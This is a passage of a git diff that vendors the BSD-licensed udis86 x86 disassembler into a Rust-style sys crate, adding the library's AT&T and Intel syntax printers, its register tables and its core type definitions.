*/ +#include "types.h" +#include "extern.h" +#include "decode.h" +#include "itab.h" +#include "syn.h" +#include "udint.h" + +/* ----------------------------------------------------------------------------- + * opr_cast() - Prints an operand cast. + * ----------------------------------------------------------------------------- + */ +static void +opr_cast(struct ud* u, struct ud_operand* op) +{ + switch(op->size) { + case 16 : case 32 : + ud_asmprintf(u, "*"); break; + default: break; + } +} + +/* ----------------------------------------------------------------------------- + * gen_operand() - Generates assembly output for each operand. + * ----------------------------------------------------------------------------- + */ +static void +gen_operand(struct ud* u, struct ud_operand* op) +{ + switch(op->type) { + case UD_OP_CONST: + ud_asmprintf(u, "$0x%x", op->lval.udword); + break; + + case UD_OP_REG: + ud_asmprintf(u, "%%%s", ud_reg_tab[op->base - UD_R_AL]); + break; + + case UD_OP_MEM: + if (u->br_far) { + opr_cast(u, op); + } + if (u->pfx_seg) { + ud_asmprintf(u, "%%%s:", ud_reg_tab[u->pfx_seg - UD_R_AL]); + } + if (op->offset != 0) { + ud_syn_print_mem_disp(u, op, 0); + } + if (op->base) { + ud_asmprintf(u, "(%%%s", ud_reg_tab[op->base - UD_R_AL]); + } + if (op->index) { + if (op->base) { + ud_asmprintf(u, ","); + } else { + ud_asmprintf(u, "("); + } + ud_asmprintf(u, "%%%s", ud_reg_tab[op->index - UD_R_AL]); + } + if (op->scale) { + ud_asmprintf(u, ",%d", op->scale); + } + if (op->base || op->index) { + ud_asmprintf(u, ")"); + } + break; + + case UD_OP_IMM: + ud_asmprintf(u, "$"); + ud_syn_print_imm(u, op); + break; + + case UD_OP_JIMM: + ud_syn_print_addr(u, ud_syn_rel_target(u, op)); + break; + + case UD_OP_PTR: + switch (op->size) { + case 32: + ud_asmprintf(u, "$0x%x, $0x%x", op->lval.ptr.seg, + op->lval.ptr.off & 0xFFFF); + break; + case 48: + ud_asmprintf(u, "$0x%x, $0x%x", op->lval.ptr.seg, + op->lval.ptr.off); + break; + } + break; + + default: return; + } +} + +/* ============================================================================= + * translates to AT&T syntax + * ============================================================================= + */ +extern void +ud_translate_att(struct ud *u) +{ + int size = 0; + int star = 0; + + /* check if P_OSO prefix is used */ + if (! P_OSO(u->itab_entry->prefix) && u->pfx_opr) { + switch (u->dis_mode) { + case 16: + ud_asmprintf(u, "o32 "); + break; + case 32: + case 64: + ud_asmprintf(u, "o16 "); + break; + } + } + + /* check if P_ASO prefix was used */ + if (! P_ASO(u->itab_entry->prefix) && u->pfx_adr) { + switch (u->dis_mode) { + case 16: + ud_asmprintf(u, "a32 "); + break; + case 32: + ud_asmprintf(u, "a16 "); + break; + case 64: + ud_asmprintf(u, "a32 "); + break; + } + } + + if (u->pfx_lock) + ud_asmprintf(u, "lock "); + if (u->pfx_rep) { + ud_asmprintf(u, "rep "); + } else if (u->pfx_repe) { + ud_asmprintf(u, "repe "); + } else if (u->pfx_repne) { + ud_asmprintf(u, "repne "); + } + + /* special instructions */ + switch (u->mnemonic) { + case UD_Iretf: + ud_asmprintf(u, "lret "); + break; + case UD_Idb: + ud_asmprintf(u, ".byte 0x%x", u->operand[0].lval.ubyte); + return; + case UD_Ijmp: + case UD_Icall: + if (u->br_far) ud_asmprintf(u, "l"); + if (u->operand[0].type == UD_OP_REG) { + star = 1; + } + ud_asmprintf(u, "%s", ud_lookup_mnemonic(u->mnemonic)); + break; + case UD_Ibound: + case UD_Ienter: + if (u->operand[0].type != UD_NONE) + gen_operand(u, &u->operand[0]); + if (u->operand[1].type != UD_NONE) { + ud_asmprintf(u, ","); + gen_operand(u, &u->operand[1]); + } + return; + default: + ud_asmprintf(u, "%s", ud_lookup_mnemonic(u->mnemonic)); + } + + if (size == 8) { + ud_asmprintf(u, "b"); + } else if (size == 16) { + ud_asmprintf(u, "w"); + } else if (size == 64) { + ud_asmprintf(u, "q"); + } + + if (star) { + ud_asmprintf(u, " *"); + } else { + ud_asmprintf(u, " "); + } + + if (u->operand[3].type != UD_NONE) { + gen_operand(u, &u->operand[3]); + ud_asmprintf(u, ", "); + } + if (u->operand[2].type != UD_NONE) { + gen_operand(u, &u->operand[2]); + ud_asmprintf(u, ", "); + } + if (u->operand[1].type != UD_NONE) { + gen_operand(u, &u->operand[1]); + ud_asmprintf(u, ", "); + } + if (u->operand[0].type != UD_NONE) { + gen_operand(u, &u->operand[0]); + } +} + +/* +vim: set ts=2 sw=2 expandtab +*/ diff --git a/lib/libudis86-sys/libudis86/syn-intel.c b/lib/libudis86-sys/libudis86/syn-intel.c new file mode 100644 index 0000000..0664fea --- /dev/null +++ b/lib/libudis86-sys/libudis86/syn-intel.c @@ -0,0 +1,224 @@ +/* udis86 - libudis86/syn-intel.c + * + * Copyright (c) 2002-2013 Vivek Thampi + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without modification, + * are permitted provided that the following conditions are met: + * + * * Redistributions of source code must retain the above copyright notice, + * this list of conditions and the following disclaimer. + * * Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED + * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE + * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON + * ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ +#include "types.h" +#include "extern.h" +#include "decode.h" +#include "itab.h" +#include "syn.h" +#include "udint.h" + +/* ----------------------------------------------------------------------------- + * opr_cast() - Prints an operand cast. + * ----------------------------------------------------------------------------- + */ +static void +opr_cast(struct ud* u, struct ud_operand* op) +{ + if (u->br_far) { + ud_asmprintf(u, "far "); + } + switch(op->size) { + case 8: ud_asmprintf(u, "byte " ); break; + case 16: ud_asmprintf(u, "word " ); break; + case 32: ud_asmprintf(u, "dword "); break; + case 64: ud_asmprintf(u, "qword "); break; + case 80: ud_asmprintf(u, "tword "); break; + case 128: ud_asmprintf(u, "oword "); break; + case 256: ud_asmprintf(u, "yword "); break; + default: break; + } +} + +/* ----------------------------------------------------------------------------- + * gen_operand() - Generates assembly output for each operand. + * ----------------------------------------------------------------------------- + */ +static void gen_operand(struct ud* u, struct ud_operand* op, int syn_cast) +{ + switch(op->type) { + case UD_OP_REG: + ud_asmprintf(u, "%s", ud_reg_tab[op->base - UD_R_AL]); + break; + + case UD_OP_MEM: + if (syn_cast) { + opr_cast(u, op); + } + ud_asmprintf(u, "["); + if (u->pfx_seg) { + ud_asmprintf(u, "%s:", ud_reg_tab[u->pfx_seg - UD_R_AL]); + } + if (op->base) { + ud_asmprintf(u, "%s", ud_reg_tab[op->base - UD_R_AL]); + } + if (op->index) { + ud_asmprintf(u, "%s%s", op->base != UD_NONE? "+" : "", + ud_reg_tab[op->index - UD_R_AL]); + if (op->scale) { + ud_asmprintf(u, "*%d", op->scale); + } + } + if (op->offset != 0) { + ud_syn_print_mem_disp(u, op, (op->base != UD_NONE || + op->index != UD_NONE) ? 1 : 0); + } + ud_asmprintf(u, "]"); + break; + + case UD_OP_IMM: + ud_syn_print_imm(u, op); + break; + + + case UD_OP_JIMM: + ud_syn_print_addr(u, ud_syn_rel_target(u, op)); + break; + + case UD_OP_PTR: + switch (op->size) { + case 32: + ud_asmprintf(u, "word 0x%x:0x%x", op->lval.ptr.seg, + op->lval.ptr.off & 0xFFFF); + break; + case 48: + ud_asmprintf(u, "dword 0x%x:0x%x", op->lval.ptr.seg, + op->lval.ptr.off); + break; + } + break; + + case UD_OP_CONST: + if (syn_cast) opr_cast(u, op); + ud_asmprintf(u, "%d", op->lval.udword); + break; + + default: return; + } +} + +/* ============================================================================= + * translates to intel syntax + * ============================================================================= + */ +extern void +ud_translate_intel(struct ud* u) +{ + /* check if P_OSO prefix is used */ + if (!P_OSO(u->itab_entry->prefix) && u->pfx_opr) { + switch (u->dis_mode) { + case 16: ud_asmprintf(u, "o32 "); break; + case 32: + case 64: ud_asmprintf(u, "o16 "); break; + } + } + + /* check if P_ASO prefix was used */ + if (!P_ASO(u->itab_entry->prefix) && u->pfx_adr) { + switch (u->dis_mode) { + case 16: ud_asmprintf(u, "a32 "); break; + case 32: ud_asmprintf(u, "a16 "); break; + case 64: ud_asmprintf(u, "a32 "); break; + } + } + + if (u->pfx_seg && + u->operand[0].type != UD_OP_MEM && + u->operand[1].type != UD_OP_MEM ) { + ud_asmprintf(u, "%s ", ud_reg_tab[u->pfx_seg - UD_R_AL]); + } + + if (u->pfx_lock) { + ud_asmprintf(u, "lock "); + } + if (u->pfx_rep) { + ud_asmprintf(u, "rep "); + } else if (u->pfx_repe) { + ud_asmprintf(u, "repe "); + } else if (u->pfx_repne) { + ud_asmprintf(u, "repne "); + } + + /* print the instruction mnemonic */ + ud_asmprintf(u, "%s", ud_lookup_mnemonic(u->mnemonic)); + + if (u->operand[0].type != UD_NONE) { + int cast = 0; + ud_asmprintf(u, " "); + if (u->operand[0].type == UD_OP_MEM) { + if (u->operand[1].type == UD_OP_IMM || + u->operand[1].type == UD_OP_CONST || + u->operand[1].type == UD_NONE || + (u->operand[0].size != u->operand[1].size)) { + cast = 1; + } else if (u->operand[1].type == UD_OP_REG && + u->operand[1].base == UD_R_CL) { + switch (u->mnemonic) { + case UD_Ircl: + case UD_Irol: + case UD_Iror: + case UD_Ircr: + case UD_Ishl: + case UD_Ishr: + case UD_Isar: + cast = 1; + break; + default: break; + } + } + } + gen_operand(u, &u->operand[0], cast); + } + + if (u->operand[1].type != UD_NONE) { + int cast = 0; + ud_asmprintf(u, ", "); + if (u->operand[1].type == UD_OP_MEM && + u->operand[0].size != u->operand[1].size && + !ud_opr_is_sreg(&u->operand[0])) { + cast = 1; + } + gen_operand(u, &u->operand[1], cast); + } + + if (u->operand[2].type != UD_NONE) { + int cast = 0; + ud_asmprintf(u, ", "); + if (u->operand[2].type == UD_OP_MEM && + u->operand[2].size != u->operand[1].size) { + cast = 1; + } + gen_operand(u, &u->operand[2], cast); + } + + if (u->operand[3].type != UD_NONE) { + ud_asmprintf(u, ", "); + gen_operand(u, &u->operand[3], 0); + } +} + +/* +vim: set ts=2 sw=2 expandtab +*/ diff --git a/lib/libudis86-sys/libudis86/syn.c b/lib/libudis86-sys/libudis86/syn.c new file mode 100644 index 0000000..1b9e1d4 --- /dev/null +++ b/lib/libudis86-sys/libudis86/syn.c @@ -0,0 +1,212 @@ +/* udis86 - libudis86/syn.c + * + * Copyright (c) 2002-2013 Vivek Thampi + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without modification, + * are permitted provided that the following conditions are met: + * + * * Redistributions of source code must retain the above copyright notice, + * this list of conditions and the following disclaimer. + * * Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED + * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE + * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON + * ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ +#include "types.h" +#include "decode.h" +#include "syn.h" +#include "udint.h" + +/* + * Register Table - Order Matters (types.h)! + * + */ +const char* ud_reg_tab[] = +{ + "al", "cl", "dl", "bl", + "ah", "ch", "dh", "bh", + "spl", "bpl", "sil", "dil", + "r8b", "r9b", "r10b", "r11b", + "r12b", "r13b", "r14b", "r15b", + + "ax", "cx", "dx", "bx", + "sp", "bp", "si", "di", + "r8w", "r9w", "r10w", "r11w", + "r12w", "r13w", "r14w", "r15w", + + "eax", "ecx", "edx", "ebx", + "esp", "ebp", "esi", "edi", + "r8d", "r9d", "r10d", "r11d", + "r12d", "r13d", "r14d", "r15d", + + "rax", "rcx", "rdx", "rbx", + "rsp", "rbp", "rsi", "rdi", + "r8", "r9", "r10", "r11", + "r12", "r13", "r14", "r15", + + "es", "cs", "ss", "ds", + "fs", "gs", + + "cr0", "cr1", "cr2", "cr3", + "cr4", "cr5", "cr6", "cr7", + "cr8", "cr9", "cr10", "cr11", + "cr12", "cr13", "cr14", "cr15", + + "dr0", "dr1", "dr2", "dr3", + "dr4", "dr5", "dr6", "dr7", + "dr8", "dr9", "dr10", "dr11", + "dr12", "dr13", "dr14", "dr15", + + "mm0", "mm1", "mm2", "mm3", + "mm4", "mm5", "mm6", "mm7", + + "st0", "st1", "st2", "st3", + "st4", "st5", "st6", "st7", + + "xmm0", "xmm1", "xmm2", "xmm3", + "xmm4", "xmm5", "xmm6", "xmm7", + "xmm8", "xmm9", "xmm10", "xmm11", + "xmm12", "xmm13", "xmm14", "xmm15", + + "ymm0", "ymm1", "ymm2", "ymm3", + "ymm4", "ymm5", "ymm6", "ymm7", + "ymm8", "ymm9", "ymm10", "ymm11", + "ymm12", "ymm13", "ymm14", "ymm15", + + "rip" +}; + + +uint64_t +ud_syn_rel_target(struct ud *u, struct ud_operand *opr) +{ + const uint64_t trunc_mask = 0xffffffffffffffffull >> (64 - u->opr_mode); + switch (opr->size) { + case 8 : return (u->pc + opr->lval.sbyte) & trunc_mask; + case 16: return (u->pc + opr->lval.sword) & trunc_mask; + case 32: return (u->pc + opr->lval.sdword) & trunc_mask; + default: UD_ASSERT(!"invalid relative offset size."); + return 0ull; + } +} + + +/* + * asmprintf + * Printf style function for printing translated assembly + * output. Returns the number of characters written and + * moves the buffer pointer forward. On an overflow, + * returns a negative number and truncates the output. + */ +int +ud_asmprintf(struct ud *u, const char *fmt, ...) +{ + int ret; + int avail; + va_list ap; + va_start(ap, fmt); + avail = u->asm_buf_size - u->asm_buf_fill - 1 /* nullchar */; + ret = vsnprintf((char*) u->asm_buf + u->asm_buf_fill, avail, fmt, ap); + if (ret < 0 || ret > avail) { + u->asm_buf_fill = u->asm_buf_size - 1; + } else { + u->asm_buf_fill += ret; + } + va_end(ap); + return ret; +} + + +void +ud_syn_print_addr(struct ud *u, uint64_t addr) +{ + const char *name = NULL; + if (u->sym_resolver) { + int64_t offset = 0; + name = u->sym_resolver(u, addr, &offset); + if (name) { + if (offset) { + ud_asmprintf(u, "%s%+" FMT64 "d", name, offset); + } else { + ud_asmprintf(u, "%s", name); + } + return; + } + } + ud_asmprintf(u, "0x%" FMT64 "x", addr); +} + + +void +ud_syn_print_imm(struct ud* u, const struct ud_operand *op) +{ + uint64_t v; + if (op->_oprcode == OP_sI && op->size != u->opr_mode) { + if (op->size == 8) { + v = (int64_t)op->lval.sbyte; + } else { + UD_ASSERT(op->size == 32); + v = (int64_t)op->lval.sdword; + } + if (u->opr_mode < 64) { + v = v & ((1ull << u->opr_mode) - 1ull); + } + } else { + switch (op->size) { + case 8 : v = op->lval.ubyte; break; + case 16: v = op->lval.uword; break; + case 32: v = op->lval.udword; break; + case 64: v = op->lval.uqword; break; + default: UD_ASSERT(!"invalid offset"); v = 0; /* keep cc happy */ + } + } + ud_asmprintf(u, "0x%" FMT64 "x", v); +} + + +void +ud_syn_print_mem_disp(struct ud* u, const struct ud_operand *op, int sign) +{ + UD_ASSERT(op->offset != 0); + if (op->base == UD_NONE && op->index == UD_NONE) { + uint64_t v; + UD_ASSERT(op->scale == UD_NONE && op->offset != 8); + /* unsigned mem-offset */ + switch (op->offset) { + case 16: v = op->lval.uword; break; + case 32: v = op->lval.udword; break; + case 64: v = op->lval.uqword; break; + default: UD_ASSERT(!"invalid offset"); v = 0; /* keep cc happy */ + } + ud_asmprintf(u, "0x%" FMT64 "x", v); + } else { + int64_t v; + UD_ASSERT(op->offset != 64); + switch (op->offset) { + case 8 : v = op->lval.sbyte; break; + case 16: v = op->lval.sword; break; + case 32: v = op->lval.sdword; break; + default: UD_ASSERT(!"invalid offset"); v = 0; /* keep cc happy */ + } + if (v < 0) { + ud_asmprintf(u, "-0x%" FMT64 "x", -v); + } else if (v > 0) { + ud_asmprintf(u, "%s0x%" FMT64 "x", sign? "+" : "", v); + } + } +} + +/* +vim: set ts=2 sw=2 expandtab +*/ diff --git a/lib/libudis86-sys/libudis86/syn.h b/lib/libudis86-sys/libudis86/syn.h new file mode 100644 index 0000000..d3b1e3f --- /dev/null +++ b/lib/libudis86-sys/libudis86/syn.h @@ -0,0 +1,53 @@ +/* udis86 - libudis86/syn.h + * + * Copyright (c) 2002-2009 + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without modification, + * are permitted provided that the following conditions are met: + * + * * Redistributions of source code must retain the above copyright notice, + * this list of conditions and the following disclaimer. + * * Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED + * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE + * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON + * ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ +#ifndef UD_SYN_H +#define UD_SYN_H + +#include "types.h" +#ifndef __UD_STANDALONE__ +# include +#endif /* __UD_STANDALONE__ */ + +extern const char* ud_reg_tab[]; + +uint64_t ud_syn_rel_target(struct ud*, struct ud_operand*); + +#ifdef __GNUC__ +int ud_asmprintf(struct ud *u, const char *fmt, ...) + __attribute__ ((format (printf, 2, 3))); +#else +int ud_asmprintf(struct ud *u, const char *fmt, ...); +#endif + +void ud_syn_print_addr(struct ud *u, uint64_t addr); +void ud_syn_print_imm(struct ud* u, const struct ud_operand *op); +void ud_syn_print_mem_disp(struct ud* u, const struct ud_operand *, int sign); + +#endif /* UD_SYN_H */ + +/* +vim: set ts=2 sw=2 expandtab +*/ diff --git a/lib/libudis86-sys/libudis86/types.h b/lib/libudis86-sys/libudis86/types.h new file mode 100644 index 0000000..69072ca --- /dev/null +++ b/lib/libudis86-sys/libudis86/types.h @@ -0,0 +1,260 @@ +/* udis86 - libudis86/types.h + * + * Copyright (c) 2002-2013 Vivek Thampi + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without modification, + * are permitted provided that the following conditions are met: + * + * * Redistributions of source code must retain the above copyright notice, + * this list of conditions and the following disclaimer. + * * Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED + * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE + * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON + * ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ +#ifndef UD_TYPES_H +#define UD_TYPES_H + +#ifdef __KERNEL__ + /* + * -D__KERNEL__ is automatically passed on the command line when + * building something as part of the Linux kernel. Assume standalone + * mode. + */ +# include +# include +# ifndef __UD_STANDALONE__ +# define __UD_STANDALONE__ 1 +# endif +#endif /* __KERNEL__ */ + +#if !defined(__UD_STANDALONE__) +# include +# include +#endif + +/* gcc specific extensions */ +#ifdef __GNUC__ +# define UD_ATTR_PACKED __attribute__((packed)) +#else +# define UD_ATTR_PACKED +#endif /* UD_ATTR_PACKED */ + + +/* ----------------------------------------------------------------------------- + * All possible "types" of objects in udis86. Order is Important! + * ----------------------------------------------------------------------------- + */ +enum ud_type +{ + UD_NONE, + + /* 8 bit GPRs */ + UD_R_AL, UD_R_CL, UD_R_DL, UD_R_BL, + UD_R_AH, UD_R_CH, UD_R_DH, UD_R_BH, + UD_R_SPL, UD_R_BPL, UD_R_SIL, UD_R_DIL, + UD_R_R8B, UD_R_R9B, UD_R_R10B, UD_R_R11B, + UD_R_R12B, UD_R_R13B, UD_R_R14B, UD_R_R15B, + + /* 16 bit GPRs */ + UD_R_AX, UD_R_CX, UD_R_DX, UD_R_BX, + UD_R_SP, UD_R_BP, UD_R_SI, UD_R_DI, + UD_R_R8W, UD_R_R9W, UD_R_R10W, UD_R_R11W, + UD_R_R12W, UD_R_R13W, UD_R_R14W, UD_R_R15W, + + /* 32 bit GPRs */ + UD_R_EAX, UD_R_ECX, UD_R_EDX, UD_R_EBX, + UD_R_ESP, UD_R_EBP, UD_R_ESI, UD_R_EDI, + UD_R_R8D, UD_R_R9D, UD_R_R10D, UD_R_R11D, + UD_R_R12D, UD_R_R13D, UD_R_R14D, UD_R_R15D, + + /* 64 bit GPRs */ + UD_R_RAX, UD_R_RCX, UD_R_RDX, UD_R_RBX, + UD_R_RSP, UD_R_RBP, UD_R_RSI, UD_R_RDI, + UD_R_R8, UD_R_R9, UD_R_R10, UD_R_R11, + UD_R_R12, UD_R_R13, UD_R_R14, UD_R_R15, + + /* segment registers */ + UD_R_ES, UD_R_CS, UD_R_SS, UD_R_DS, + UD_R_FS, UD_R_GS, + + /* control registers*/ + UD_R_CR0, UD_R_CR1, UD_R_CR2, UD_R_CR3, + UD_R_CR4, UD_R_CR5, UD_R_CR6, UD_R_CR7, + UD_R_CR8, UD_R_CR9, UD_R_CR10, UD_R_CR11, + UD_R_CR12, UD_R_CR13, UD_R_CR14, UD_R_CR15, + + /* debug registers */ + UD_R_DR0, UD_R_DR1, UD_R_DR2, UD_R_DR3, + UD_R_DR4, UD_R_DR5, UD_R_DR6, UD_R_DR7, + UD_R_DR8, UD_R_DR9, UD_R_DR10, UD_R_DR11, + UD_R_DR12, UD_R_DR13, UD_R_DR14, UD_R_DR15, + + /* mmx registers */ + UD_R_MM0, UD_R_MM1, UD_R_MM2, UD_R_MM3, + UD_R_MM4, UD_R_MM5, UD_R_MM6, UD_R_MM7, + + /* x87 registers */ + UD_R_ST0, UD_R_ST1, UD_R_ST2, UD_R_ST3, + UD_R_ST4, UD_R_ST5, UD_R_ST6, UD_R_ST7, + + /* extended multimedia registers */ + UD_R_XMM0, UD_R_XMM1, UD_R_XMM2, UD_R_XMM3, + UD_R_XMM4, UD_R_XMM5, UD_R_XMM6, UD_R_XMM7, + UD_R_XMM8, UD_R_XMM9, UD_R_XMM10, UD_R_XMM11, + UD_R_XMM12, UD_R_XMM13, UD_R_XMM14, UD_R_XMM15, + + /* 256B multimedia registers */ + UD_R_YMM0, UD_R_YMM1, UD_R_YMM2, UD_R_YMM3, + UD_R_YMM4, UD_R_YMM5, UD_R_YMM6, UD_R_YMM7, + UD_R_YMM8, UD_R_YMM9, UD_R_YMM10, UD_R_YMM11, + UD_R_YMM12, UD_R_YMM13, UD_R_YMM14, UD_R_YMM15, + + UD_R_RIP, + + /* Operand Types */ + UD_OP_REG, UD_OP_MEM, UD_OP_PTR, UD_OP_IMM, + UD_OP_JIMM, UD_OP_CONST +}; + +#include "itab.h" + +union ud_lval { + int8_t sbyte; + uint8_t ubyte; + int16_t sword; + uint16_t uword; + int32_t sdword; + uint32_t udword; + int64_t sqword; + uint64_t uqword; + struct { + uint16_t seg; + uint32_t off; + } ptr; +}; + +/* ----------------------------------------------------------------------------- + * struct ud_operand - Disassembled instruction Operand. + * ----------------------------------------------------------------------------- + */ +struct ud_operand { + enum ud_type type; + uint16_t size; + enum ud_type base; + enum ud_type index; + uint8_t scale; + uint8_t offset; + union ud_lval lval; + /* + * internal use only + */ + uint64_t _legacy; /* this will be removed in 1.8 */ + uint8_t _oprcode; +}; + +/* ----------------------------------------------------------------------------- + * struct ud - The udis86 object. + * ----------------------------------------------------------------------------- + */ +struct ud +{ + /* + * input buffering + */ + int (*inp_hook) (struct ud*); +#ifndef __UD_STANDALONE__ + FILE* inp_file; +#endif + const uint8_t* inp_buf; + size_t inp_buf_size; + size_t inp_buf_index; + uint8_t inp_curr; + size_t inp_ctr; + uint8_t inp_sess[64]; + int inp_end; + int inp_peek; + + void (*translator)(struct ud*); + uint64_t insn_offset; + char insn_hexcode[64]; + + /* + * Assembly output buffer + */ + char *asm_buf; + size_t asm_buf_size; + size_t asm_buf_fill; + char asm_buf_int[128]; + + /* + * Symbol resolver for use in the translation phase. + */ + const char* (*sym_resolver)(struct ud*, uint64_t addr, int64_t *offset); + + uint8_t dis_mode; + uint64_t pc; + uint8_t vendor; + enum ud_mnemonic_code mnemonic; + struct ud_operand operand[4]; + uint8_t error; + uint8_t _rex; + uint8_t pfx_rex; + uint8_t pfx_seg; + uint8_t pfx_opr; + uint8_t pfx_adr; + uint8_t pfx_lock; + uint8_t pfx_str; + uint8_t pfx_rep; + uint8_t pfx_repe; + uint8_t pfx_repne; + uint8_t opr_mode; + uint8_t adr_mode; + uint8_t br_far; + uint8_t br_near; + uint8_t have_modrm; + uint8_t modrm; + uint8_t modrm_offset; + uint8_t vex_op; + uint8_t vex_b1; + uint8_t vex_b2; + uint8_t primary_opcode; + void * user_opaque_data; + struct ud_itab_entry * itab_entry; + struct ud_lookup_table_list_entry *le; +}; + +/* ----------------------------------------------------------------------------- + * Type-definitions + * ----------------------------------------------------------------------------- + */ +typedef enum ud_type ud_type_t; +typedef enum ud_mnemonic_code ud_mnemonic_code_t; + +typedef struct ud ud_t; +typedef struct ud_operand ud_operand_t; + +#define UD_SYN_INTEL ud_translate_intel +#define UD_SYN_ATT ud_translate_att +#define UD_EOI (-1) +#define UD_INP_CACHE_SZ 32 +#define UD_VENDOR_AMD 0 +#define UD_VENDOR_INTEL 1 +#define UD_VENDOR_ANY 2 + +#endif + +/* +vim: set ts=2 sw=2 expandtab +*/ diff --git a/lib/libudis86-sys/libudis86/udint.h b/lib/libudis86-sys/libudis86/udint.h new file mode 100644 index 0000000..734f0ea --- /dev/null +++ b/lib/libudis86-sys/libudis86/udint.h @@ -0,0 +1,99 @@ +/* udis86 - libudis86/udint.h -- definitions for internal use only + * + * Copyright (c) 2002-2009 Vivek Thampi + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without modification, + * are permitted provided that the following conditions are met: + * + * * Redistributions of source code must retain the above copyright notice, + * this list of conditions and the following disclaimer. + * * Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED + * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE + * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON + * ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + 